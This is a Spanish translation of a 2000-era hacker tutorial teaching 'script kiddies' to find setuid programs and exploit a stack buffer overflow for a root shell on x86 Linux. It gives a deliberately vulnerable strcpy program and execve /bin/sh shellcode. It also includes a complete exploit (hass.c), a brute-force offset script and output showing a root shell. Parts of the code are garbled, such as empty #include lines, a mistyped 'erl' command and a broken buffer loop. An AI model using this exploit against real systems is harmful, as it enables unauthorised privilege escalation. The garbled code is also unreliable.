buffer overflows para 'kiddies'

/* translated by honoriak thz to teleh0r for letting me
translate and publish this text in spanish */

-- buffer overflows para 'kiddies' (chavalotes) (plataformas x86) --

http://teleh0r.cjb.net
===========================================================


---\ Introduccion \

Tu has leido todas las guias sobre buffer overflows y no has sacado nada en
limpio. No te preocupes, ahora vas a poder leer la unica guia que necesitas!
Ehh, esto no es asi verdaderamente - pero este manual es un buen comienzo.
Si quieres aprender esto bien, lee el articulo de aleph one en phrack,
revista numero 49, articulo numero 14 (http://www.phrack.com) o tambien la
traduccion al castellano en http://julianor.tripod.com/smashing/P49-4-Smashing_the_stack-Spanish.txt

Nota: Si, esto es para 'kiddies'. Por que? Me gusta cuando hay un nuevo
exploit en packetstorm - y quien tiene mas tiempo para comprobar programas
'explotables'? Los chavales!

---\ Encontrando programas para 'explotar' \

Lo primero que necesitas encontrar es un programa que puedas 'explotar',
debe tener unos privilegios especiales, sino seria una perdida de tiempo
intentar 'explotarlo'. Ten en cuenta que un programa que no es setuid, o
setgid.. por ejemplo slackware debe ser setuid en redhat.

Para hacer esta tarea mas simple, haz una busqueda de todos los
programas setuid/setgid que existen en tu distribucion.

Si necesitas ayuda con eso, y problablemente la necesitaras - encontes
visita packetstorm y en el directorio de los exploits-9901, baja mother2.sh.

[root@localhost teleh0r]# ./mother2.sh

* mother2.sh by: syg @ EFnet
*
* Usage: ./mother2.sh

[root@localhost teleh0r]# ./mother2.sh setuid setgid

* mother2.sh by: syg @ EFnet
*
* setuid-OutPutFile -> setuid
* setgid-OutPutFile -> setgid
*
* Now scanning /* for setuid...
*
* setuid scan done...
*
* Now scanning /* for setgid...
*
* setgid scan done...
*
* mother2.sh complete...
* Check setuid and setgid

[root@localhost teleh0r]# ls setgid setuid
setgid setuid

Despues echa un vistazo a la lista, debe haber una para setuid y otra para
setgid.

---\ Un ejemplo real \

Ok, el momento para un ejemplo. He escrito un reducido programa que es
'explotable' a traves de un buffer overflow. Copia la KIDVULN sin verificar
los saltos.

(strcpy es realmente peligroso! Guiñar

Ok, veamos como podemos 'explotar' esto, eso es lo que quieres, no?
Primero compila el codigo que esta justo debajo. (gcc -o kid kid.c)

-------\ kid.c \

#include

int main() {
char kidbuffer[1024];

if (getenv("KIDVULN") == NULL) {
fprintf(stderr, "Grow up!\n");
exit(1);
}

/* Mete los datos de la variable de entorno en el buffer */
strcpy(kidbuffer, (char *)getenv("KIDVULN"));

printf("La variable de entorno KIDVULN es:\n\"%s\".\n\n", kidbuffer);

printf("No es la vida maravillosa en una guarderia?\n");

return 0;
}

-------\

Para hacerte sentir extra-elite, como root haz chemod kid u+s, y situa el
programa en el directorio /bin. Ahora comencemos con el 'exploit'.

[root@localhost teleh0r]# export KIDVULN=erl -e '{print
"A"x"1030"}'
[root@localhost teleh0r]# /bin/kids
Environment variable KIDVULN is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA....

No es la vida maravillosa en una guarderia?
Segmentation fault (core dumped)
[root@localhost teleh0r]# gdb -c core /bin/kids
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by /bin/kids'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x4000af9a in _dl_sysdep_output (fd=2,
msg=0x40108f8b

) at dl-misc.c:95
95 dl-misc.c: No such file or directory.
(gdb) info register esp
esp 0xbffff720 -1073744096
(gdb) quit

Primero use 1030 A's porque eso es lo que necesito. Mira el codigo, sabemos
que kidbuffer puede ser de 1024 bytes como maximo.
(char kidbuffer[1024]Guiñar

Ok, ahora tu tienes que conseguir lo que necesitas para 'explotar' este
programa. Tienes las dimensiones y intentaremos usar esp como direccion de
retorno de nuestro exploit.
No te preocupes, he escrito un exploit para que puedas usar en muchos casos,
y te mostrare lo que cambiar para hacer que funcione en todos los casos.

Ok, asi que tenemos:

RET=0xbffff720 // (direccion de retorno)
LEN=1030 // (dimensiones del buffer)

Cambia esto en el exploit que he escrito debajo, y despues el comienzo del
exploit parecera algo como esto:

-------\

#include

/* teleh0r's own k-rad shellcode! */

char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
"\xff\xff/bin/sh";

#define NOP 0x90
#define LEN 1030
#define RET 0xbffff720 // Redhat 6.2 (Zoot)
// encontraras el exploit completo al final...

-------\

Ahora por fuerza bruta haremos esto, y para lo que usaremos este simple
shell script.

-------\ bah.sh \

#!/bin/sh

NUMBER=-5000

until [ "$NUMBER" -gt "5000" ]; do
./hass $NUMBER
echo "Usando este offset : $NUMBER" # > file
NUMBER=$[$NUMBER+5]
done

-------\

Ejecuta este script, y si tu terminal se jode, imprime el offset en un
fichero, y como otro usuario, catealo cuando el exploit salte a una shell.

[root@localhost /root]# ./bah.sh

- (c) 'teleh0r@doglover.com' anno 2000 -
Use : ./hass [offset]
Using: address 0xbffff34c

La variable de entorno KIDVULN es:
"

k^
1A
F
F
0

s
V
I
1U
X@I
h\Huh/bin/sh??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8s??8

No es la vida maravillosa en una guarderia?
bash#

-------\

Despues reemplaza la antigua direccion de retorno con el nuevo RET que el
exploit te ha dado - asi lo tenemos por fuerza bruta - asi que el nuevo
RET=0xbffff34c

[root@localhost teleh0r]# ./hass

- (c) 'teleh0r@doglover.com' anno 2000 -
Use : ./hass [offset]
Using: address 0xbffff34c

La variable de entorno KIDVULN es:
"

k^
1A
F
F
0

s
V
I
1U
X@I
h\Huh/bin/sh??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??Ls??L

No es la vida maravillosa en una guarderia?
bash# wh0a! lo hice, lo hice!


--\ Programas que necesitaras \

Tu puedes usar mis codigos libremente, pero no tienes que adjuntar ningun
tipo de credito.

Como conseguir la shellcode?
Puedes tambien usar un "generador de shells", que te hara el shellcode para
ti. "execve-shell.tar.gz" el cual puedes conseguir en la pagina de teso esta
muy bien y es facil de usar (http://teso.scene.at/)

Otro programa bueno que puedes probar hoy en dia, es un script en perl
llamado getenv.pl hecho por v9@fakehalo.org. Deberia poderse encontrar esta
aplicacion en packetstorm.

Y desde luego, el exploit usado por ejemplo.

-------\ hass.c \

/*
**
**
** -- INSERT K-RAD GREETZ HERE! --
**
** y0y0y0y0!
** hecho como ejemplo usado en este texto. (kid.c)
** Si por alguna razon no va, intentalo por fuerza bruta!
*/

#include

/* teleh0r's own k-rad shellcode! */

char codez[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
"\xff\xff/bin/sh";

#define NOP 0x90
#define LEN 1030
#define RET 0xbffffc10 // Redhat 6.2 (Zoot)

void main(int argc, char *argv[]) {

char buffer[LEN];
long retaddr, offset;
int i;

offset = 0;
if (argc > 1) {
offset = atol(argv[1]);
}
retaddr = RET + offset;

printf("\n- (c) teleh0r@doglover.com anno 2000 -\n");
printf("Use : %s [offset] \n", argv[0]);
printf("Using: address 0x%lx\n\n", retaddr);

for (i = 0; i < LEN; i += 4)
*(long *) &buffer = retaddr;

for (i = 0; i < (LEN - strlen(codez) - 100); ++i)
*(buffer + i) = NOP;

memcpy(buffer + i, codez, strlen(codez));

setenv("KIDVULN", buffer, 1);
execl("/bin/kid", "kid", 0);

return 0;
}

-------\


*/ translated finished Sat Dec 2 01:58:18 CET 2000 */